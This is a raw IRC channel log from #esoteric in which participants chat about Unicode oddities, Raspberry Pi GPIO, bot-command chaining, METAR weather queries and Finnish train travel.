912224 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :lucky we have these alternate universes then < 1394147625 522965 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :In some alternate universes, alternate universes don't exist < 1394147641 967572 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :"Our bonus program is not frosting, it is part of the cake." makes it sound like it's not a bonus program at all < 1394147884 410272 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :(mozilla) < 1394148299 674563 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fungot: are you from irc? < 1394148299 899516 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :oerjan: transcribed from the fnord: he fnord the chain, that fnord the pin: he fnord the words " this is fnord phrase i had learned from the fnord fnord: to be taken up. " from your point of view, that is, < 1394148328 777047 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :clearly we need a version of fungot that lives entirely on the blockchain < 1394148328 961989 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :ais523: then, with a fnord hand, and we eagerly followed." " i doubt if even muriel would run away from one of them had got a moth's wing to fnord great brown moth's wing, oo know, and so he didn't want the other caterpillar to see the lion and the unicorn < 1394148334 330162 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i think that response may have been redacted. < 1394148336 425567 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net JOIN :#esoteric < 1394148953 67526 :blitter64!~blitter@75-121-39-142.dyn.centurytel.net JOIN :#esoteric < 1394149008 706375 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1394149052 16394 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net QUIT :Ping timeout: 265 seconds < 1394149298 920344 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net NICK :^v < 1394149487 5194 :blitter64!~blitter@75-121-39-142.dyn.centurytel.net QUIT :Ping timeout: 265 seconds < 1394150626 166077 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :OIL doesn't look to be quite the kind of things I needed < 1394150835 793542 :MoALTz_!~no@user-31-175-247-158.play-internet.pl JOIN :#esoteric < 1394150865 734700 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I want to compile a tree pattern with capturing into SQL and then have it to execute a SQL program if it matches, placing the output of the program in place of the original expression which was matched. < 1394151000 993427 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: bai < 1394151001 258558 :MoALTz!~no@user-31-175-247-158.play-internet.pl QUIT :Ping timeout: 240 seconds < 1394151057 355941 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394151242 794652 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394151245 553676 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394151385 423347 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1394152377 116423 :ais523!~ais523@unaffiliated/ais523 QUIT : < 1394152582 193144 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:Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu JOIN :#esoteric < 1394178767 496181 :iamcal____!sid1110@gateway/web/irccloud.com/x-zwcntaqmesjgoiaf JOIN :#esoteric < 1394178767 496245 :jix!~jix@jixco.de JOIN :#esoteric < 1394178767 496309 :myname!~myname@84.200.43.57 JOIN :#esoteric < 1394178767 496373 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1394178767 496434 :zzo38!~zzo38@24-207-51-179.eastlink.ca JOIN :#esoteric < 1394178767 496497 :atehwa!atehwa@aulis.sange.fi JOIN :#esoteric < 1394178767 496560 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1394178767 496623 :ggherdov_!sid11402@gateway/web/irccloud.com/x-odwzqbmzjdzxnuga JOIN :#esoteric < 1394178767 496685 :siruf!siruf@2604:180::6050:fab4 JOIN :#esoteric < 1394178767 496747 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 JOIN :#esoteric < 1394178767 496809 :digend!~digend@195.88.191.167 JOIN :#esoteric < 1394178767 496871 :Speed`!~Speed@evile.thrash.im JOIN :#esoteric < 1394178767 496932 :quintopia!~quintopia@74.117.159.204 JOIN :#esoteric < 1394178767 496993 :realzies!~pinky@pool-74-108-116-26.nycmny.fios.verizon.net JOIN :#esoteric < 1394178767 497054 :Gregor!dlopen@libdl.so JOIN :#esoteric < 1394178767 497117 :spiette!~spiette@2607:fad8:4:6:f2de:f1ff:fe66:77e5 JOIN :#esoteric < 1394178831 760538 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :Oh my. < 1394178838 637611 :Gregor!dlopen@libdl.so NICK :Guest80165 < 1394178838 822530 :realzies!~pinky@pool-74-108-116-26.nycmny.fios.verizon.net NICK :Guest55840 < 1394178838 822684 :quintopia!~quintopia@74.117.159.204 NICK :Guest55323 < 1394179094 906810 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Bike: "Subject: [MATLAB Webinars] Upcoming Academic Sessions" "Raspberry Pi Programming using Simulink" are you excited yet? < 1394179104 395693 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :so excite < 1394179110 797811 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i've been debating the effort a numpy port would take < 1394179114 848573 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1394179139 902899 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1394179148 553738 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Also on the menu: "Connecting Hardware to MATLAB and Simulink" and "Mobile Robot Simulation for Collision Avoidance with Simulink". There's some kind of a THEME here. < 1394179232 287755 :siruf!siruf@2604:180::6050:fab4 QUIT :Changing host < 1394179232 472563 :siruf!siruf@unaffiliated/motley JOIN :#esoteric < 1394179757 981011 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Now all we need is a port of labview < 1394179886 498690 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :>_< < 1394179958 381424 :tertu!~quassel@143.44.65.14 QUIT :Read error: Connection reset by peer < 1394180134 356014 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Does Raspberry Pi include libraries for accessing GPIO ports in all of the programming languages it includes? < 1394180201 627353 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I know Mathematica has it, but I don't know if it includes libraries or examples or anything to deal with it in C. < 1394180490 905238 :jconn!~va@1-130.ipswich.cc.colocall.com JOIN :#esoteric < 1394180590 819936 :Tod-Autojoined!~Tod@c-71-199-36-196.hsd1.ut.comcast.net NICK :TodPunk < 1394180762 918345 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I don't even remember if it includes an "official" OS that could include languages. < 1394180832 156670 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I run the "Raspbian" variant of Debian on mine, and I wouldn't be surprised if there was at least one programming language implementation in the repositories where you can't get at the GPIO. < 1394180854 540066 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There's a C library, though. < 1394182039 258688 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net QUIT :Quit: leaving < 1394182247 816309 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1394183404 88380 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1394184024 942694 :Tritonio!~Thunderbi@179.43.152.40 JOIN :#esoteric < 1394184265 408189 :MoALTz!~no@user-31-175-247-158.play-internet.pl JOIN :#esoteric < 1394185579 835175 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Mornin' < 1394185821 403103 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :good ante meridiem < 1394185933 218449 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Just barely. < 1394185968 328699 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1394185979 470976 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :crazy finns. < 1394186001 294800 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1394187190 499350 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394188458 832232 :digend!~digend@195.88.191.167 QUIT :Remote host closed the connection < 1394189542 685235 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :U+2661 SIDEWAYS LESS THAN THREE SYMBOL < 1394189738 54954 :ion!ion@heh.fi PRIVMSG #esoteric :U+006D LATIN SMALL LIGATURE RN < 1394190206 764658 :Tritonio!~Thunderbi@179.43.152.40 QUIT :Ping timeout: 252 seconds < 1394190340 875469 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`run unidecode $(unicode 2661 6d) < 1394190341 758561 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​[U+2661 WHITE HEART SUIT] [U+006D LATIN SMALL LETTER M] < 1394190343 635907 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :You liars. < 1394190659 153769 :guardian_!~guardian@124.148.24.255 JOIN :#esoteric < 1394190697 219598 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1394191453 240700 :nooodl!~nooodl@91.176.177.103 JOIN :#esoteric < 1394191554 102767 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :hellooodl. < 1394191834 443533 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :@missiges-loud < 1394191834 628420 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :int-e said 21h 1m 42s ago: I lament the lack of lambdabot messages. < 1394191855 118227 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :@massages-loud < 1394191855 303036 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :You don't have any messages < 1394191855 303191 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :uhm. < 1394191906 244125 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :int-e: it is a problem I can relate to. < 1394192045 683114 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :@tell int-e 7I wonder if lambdie accepts colours. Have an orange message! < 1394192045 907285 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1394192108 581167 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :@tell fungot Psst, please start surreptitiously writing lambdabot messages in private to people doing the lamenting. < 1394192108 803358 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :fizzie: " what a fnord such a dear, quiet thing." the three stanzas fnord describe " my first," she said. < 1394192108 803567 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1394192198 814997 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :somehow, the thought of fungot telling me “oh dear, what a fnord” helps me feel better. < 1394192198 999880 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: 9. some judges are unjust."' she stood and listened very gravely for a few moments, the orator fnord, fnord, < 1394192412 614884 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :ion: I approve < 1394192429 979453 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^echo @ask lambdabot are you ignoring me? < 1394192430 164365 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :@ask lambdabot are you ignoring me? @ask lambdabot are you ignoring me? < 1394192430 349247 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Nice try ;) < 1394192530 128018 :metasepia!~metasepia@96.127.201.149 JOIN :#esoteric < 1394192543 160244 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :~metar ENVA < 1394192543 992700 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :ENVA 071120Z 13011KT CAVOK 09/01 Q0998 NOSIG RMK WIND 670FT 17018KT < 1394192571 653265 :guardian_!~guardian@124.148.24.255 PART :#esoteric < 1394192595 496744 :ion!ion@heh.fi PRIVMSG #esoteric :~metar TFTP < 1394192596 149022 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :--- Station not found! < 1394192610 932244 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :^echo ~echo @tell oerjan circum-peri-unoptimized bot chain @tell! < 1394192611 117040 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :~echo @tell oerjan circum-peri-unoptimized bot chain @tell! ~echo @tell oerjan circum-peri-unoptimized bot chain @tell! < 1394192611 315237 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :@tell oerjan circum-peri-unoptimized bot chain @tell! ~echo @tell oerjan circum-peri-unoptimized bot chain @tell! < 1394192611 500178 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1394192620 412424 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :~metar CYUL < 1394192620 784207 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :CYUL 071100Z 35002KT 15SM FEW240 M17/M21 A3028 RMK CI1 CI TR SLP255 < 1394192644 282292 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ah! only -17 today. I hope at last my beard won't be freezing over when waiting for the bus. < 1394192647 768644 :ion!ion@heh.fi PRIVMSG #esoteric :^echo ~echo @echo This is why NOTICE was invented < 1394192647 953696 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :~echo @echo This is why NOTICE was invented ~echo @echo This is why NOTICE was invented < 1394192648 194668 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :@echo This is why NOTICE was invented ~echo @echo This is why NOTICE was invented < 1394192648 379627 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :echo; msg:IrcMessage {ircMsgServer = "freenode", ircMsgLBName = "lambdabot", ircMsgPrefix = "metasepia!~metasepia@96.127.201.149", ircMsgCommand = "PRIVMSG", ircMsgParams = ["#esoteric",":@echo This is why NOTICE was invented ~echo @echo This is why NOTICE was invented"]} target:#esoteric rest:"This is why NOTICE was invented ~echo @echo This is < 1394192648 564689 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :why NOTICE was invented" < 1394192659 887818 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@messages-mould < 1394192660 72832 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :metasepia said 48s ago: circum-peri-unoptimized bot chain @tell! ~echo @tell oerjan circum-peri-unoptimized bot chain @tell! < 1394192717 531702 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :~metar HTTP < 1394192718 347523 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :--- Station not found! < 1394192722 796367 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Aw. < 1394192743 565458 :ion!ion@heh.fi PRIVMSG #esoteric :~metar EFTP < 1394192744 280284 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :EFTP 071120Z 19011KT 9999 FEW019 BKN055 05/02 Q1017 < 1394192753 638177 :ion!ion@heh.fi PRIVMSG #esoteric :That’s what i was thinking of. I think < 1394192771 688348 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :~metar SMTP < 1394192772 371353 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :--- Station not found! < 1394192791 409829 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :~metar IMAP < 1394192792 81603 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :--- Station not found! < 1394192794 931848 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :~metar BCPL < 1394192795 594634 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :--- Station not found! < 1394192827 328729 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :~metar SNMP < 1394192827 955959 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :--- Station not found! < 1394192832 93097 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :~metar LDAP < 1394192832 726513 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :--- Station not found! < 1394192837 680684 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Sooner or later it'll have to work. < 1394192842 960828 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :~metar RTSP < 1394192843 526502 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :--- Station not found! < 1394192844 36080 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you'd think < 1394192848 160073 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :~metar UUCP < 1394192848 807573 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :--- Station not found! < 1394192866 415905 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :~metar MDNS < 1394192867 114458 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :--- Station not found! < 1394192884 191427 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :~metar DAAP < 1394192884 872217 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :DAAP 071100Z 33010KT 9999 FEW040 15/04 Q1019 < 1394192886 774830 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Hah. < 1394192893 411651 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :~duck DAAP < 1394192893 708276 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :DAAP The Apple protocol that shares iTunes playlists with users across a network via their computers or media hubs. < 1394192906 526562 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Digital Audio Access Protocol, I think. < 1394192914 540063 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :~duck takhamalt airport < 1394192914 725190 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :Takhamalt Airport also known as Illizi Airport, is an airport near Illizi, Algeria. < 1394192967 793306 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :~duck tampere-pirkkala airport < 1394192967 978241 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :--- No relevant information < 1394192992 231423 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :so ~duck manages to get infos on an algerian airport, but not a finnish one. < 1394192997 164836 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I don't think I've ever been at Tampere-Pirkkala. < 1394193004 900180 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Flying to Tampere seems really useless. < 1394193034 931675 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's like 90 minutes by train. < 1394193049 848099 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :our trains suck :( < 1394193105 312603 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :vacuum trains < 1394193106 177699 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Well, okay, it's 1:46 for InterCity; the 1:30 time is for Pendolino. < 1394193115 409141 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Still, less than two hours. < 1394193146 449975 :MoALTz!~no@user-31-175-247-158.play-internet.pl QUIT :Quit: brb < 1394193163 698099 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Though apparently there exist direct Tampere-Budapest, Tampere-Bremen and Tampere-London flights, in addition to Tampere-Helsinki. < 1394193226 47228 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :oerjan: shipping people in vacuum tubes would be a direct improvement over what we have. < 1394193243 299709 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :35 minutes to fly from Helsinki to Tampere. And then add at least one hour for getting to/from the airport, security checks, boarding and just general being-on-time-in-case-of-queues. < 1394193265 87840 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i take it canadian trains are not very safe. < 1394193266 868877 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :You can't even get to the city from Helsinki-Vantaa airport by rail yet. < 1394193479 280601 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 240 seconds < 1394193548 348962 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :oerjan: for the very few that we have, they are safe. < 1394193591 438906 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :good, good < 1394193814 982325 :MoALTz!~no@user-31-175-247-158.play-internet.pl JOIN :#esoteric < 1394193897 159967 :boily!~boily@96.127.201.149 QUIT :Quit: PROTOCOLAR CHICKEN < 1394193899 411395 :metasepia!~metasepia@96.127.201.149 QUIT :Remote host closed the connection < 1394194177 283202 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu QUIT :Ping timeout: 265 seconds < 1394194192 172200 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu JOIN :#esoteric < 1394196051 329852 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"By becoming an IEEE Member, you agree to -- b. Support the enhancement of IEEE principles, objectives and activities; and --" < 1394196056 137725 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's all so terribly vague. < 1394196084 489001 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(It's cheaper to join for one year and get a conference price discount than not join and pay full price for a conference trip.) < 1394196136 813335 :92AAAE969!~shurickk@188.190.124.30 JOIN :#esoteric < 1394196176 67343 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :just 1/3 the usual price + your firstborn < 1394196775 973260 :atriq!90208033@gateway/web/freenode/ip.144.32.128.51 JOIN :#esoteric < 1394196829 207456 :atriq!90208033@gateway/web/freenode/ip.144.32.128.51 PRIVMSG #esoteric :`unicode INVISIBLE TIMES < 1394196829 937040 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​⁢ < 1394196837 591689 :atriq!90208033@gateway/web/freenode/ip.144.32.128.51 PRIVMSG #esoteric :`unicode INVISIBLE PLUS < 1394196838 378998 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​⁤ < 1394196844 473949 :atriq!90208033@gateway/web/freenode/ip.144.32.128.51 PRIVMSG #esoteric :`unicode FUNCTION APPLICATION < 1394196845 78439 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​⁡ < 1394196859 704522 :atriq!90208033@gateway/web/freenode/ip.144.32.128.51 PRIVMSG #esoteric :`unidecode ​⁡ < 1394196860 374600 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​[U+200B ZERO WIDTH SPACE] [U+2061 FUNCTION APPLICATION] < 1394196886 267674 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :oerjan: How does that work if I never have any children, though? < 1394196924 2213 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`run unidecode $(unicode 'INVISIBLE TIMES' 'INVISIBLE PLUS' 'FUNCTION APPLICATION') # let's try the round-trip < 1394196924 862685 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​[U+2062 INVISIBLE TIMES] [U+2064 INVISIBLE PLUS] [U+2061 FUNCTION APPLICATION] < 1394196929 945773 :atriq!90208033@gateway/web/freenode/ip.144.32.128.51 QUIT :Quit: Page closed < 1394196950 601784 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :In related news, I finally fixed `unicode to accept also hex in addition to character names. < 1394196960 984212 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fizzie: they're counting on people like that getting rarer with time hth < 1394196998 608201 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`unicode 2603 < 1394196999 378325 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​☃ < 1394197043 775605 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you hexed `unicode, ok < 1394197304 244483 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1394197900 370768 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1394198457 785693 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1394198829 339619 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :why the hell are there invisible operators? < 1394198862 894007 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :So that you can say something that looks like "ab" but unambiguously means the product of a and b. < 1394199075 688223 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Trenitalia's ticket search form has this unexplained "Find best price [ ]" checkbox that I can't figure out what it does, exactly. < 1394199092 687599 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Unchecked by default. < 1394199269 820020 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1394199286 219384 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :If I check it, there are no results; if I don't, I get lots of results but they all say "The travel solution is not sellable for the selected segment" in the price column. < 1394199297 98337 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I don't think this was this difficult the last time. < 1394199394 847895 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Apparently it's because the solutions involve a regional train, and they don't sell tickets for those over the Internet. < 1394199510 961020 :Tritonio!~Thunderbi@212.251.54.186 JOIN :#esoteric < 1394201774 808751 :Guest55840!~pinky@pool-74-108-116-26.nycmny.fios.verizon.net QUIT :Changing host < 1394201774 993798 :Guest55840!~pinky@unaffiliated/realazthat JOIN :#esoteric < 1394201792 629070 :Guest55840!~pinky@unaffiliated/realazthat NICK :realzies < 1394202117 897939 :92AAAE969!~shurickk@188.190.124.30 QUIT :Remote host closed the connection < 1394202215 905698 :Tritonio!~Thunderbi@212.251.54.186 QUIT :Ping timeout: 244 seconds < 1394202370 438613 :Tritonio!~Thunderbi@212.251.54.186 JOIN :#esoteric < 1394202647 487331 :Tritonio!~Thunderbi@212.251.54.186 QUIT :Ping timeout: 264 seconds < 1394203098 309260 :itsy!~digital_w@37.152.198.84 QUIT :Ping timeout: 240 seconds < 1394204551 926888 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1394204827 616543 :Tritonio!~Thunderbi@212.251.54.186 JOIN :#esoteric < 1394204876 429187 :itsy!~digital_w@37.152.198.84 JOIN :#esoteric < 1394206536 788988 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394207783 596048 :Slereahphone!~slereahph@193.253.170.142 JOIN :#esoteric < 1394207826 496514 :Slereahphone!~slereahph@193.253.170.142 QUIT :Remote host closed the connection < 1394207943 605658 :Slereahphone!~slereahph@193.253.170.142 JOIN :#esoteric < 1394208294 229928 :Slereahphone!~slereahph@193.253.170.142 QUIT :Remote host closed the connection < 1394208424 438157 :Slereahphone_!~slereahph@193.253.170.142 JOIN :#esoteric < 1394208425 54843 :Slereahphone_!~slereahph@193.253.170.142 QUIT :Remote host closed the connection < 1394208461 875122 :Slereahphone!~slereahph@193.253.170.142 JOIN :#esoteric < 1394208473 788585 :Speed`!~Speed@evile.thrash.im QUIT :Excess Flood < 1394208548 583830 :Speed``!~Speed@evile.thrash.im JOIN :#esoteric < 1394208707 796085 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394208707 984034 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394208781 228452 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Client Quit < 1394209841 423505 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1394210058 347366 :Slereahphone!~slereahph@193.253.170.142 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394210156 812813 :Tritonio!~Thunderbi@212.251.54.186 QUIT :Ping timeout: 265 seconds < 1394210725 259735 :Slereahphone!~slereahph@193.253.170.142 JOIN :#esoteric < 1394211126 762788 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1394211891 822975 :Speed``!~Speed@evile.thrash.im NICK :Speed` < 1394212398 459758 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Read error: Operation timed out < 1394213133 625835 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394214059 449968 :impomatic!~john_metc@37.152.198.84 QUIT :Ping timeout: 264 seconds < 1394214890 94625 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1394215331 963253 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1394215807 920081 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Read error: Connection reset by peer < 1394215892 379051 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394216737 341012 :Slereahphone_!~slereahph@90.84.145.74 JOIN :#esoteric < 1394216819 298922 :Slereahphone!~slereahph@193.253.170.142 QUIT :Ping timeout: 240 seconds < 1394216821 795127 :Slereahphone_!~slereahph@90.84.145.74 NICK :Slereahphone < 1394216871 389249 :FreeFull!~freefull@defocus/sausage-lover JOIN :#esoteric < 1394217061 577716 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :eep there i pressed ctrl-F5 instead of fn-F5 again < 1394217076 957341 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :no real harm, but still... < 1394217111 888886 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(the former, as you probably know, reloads the web page. on my laptop the latter turns down brightness.) < 1394217262 727971 :jhj!jhj@2600:3c00::f03c:91ff:feae:3efa NICK :trn < 1394217783 960627 :Guest55323!~quintopia@74.117.159.204 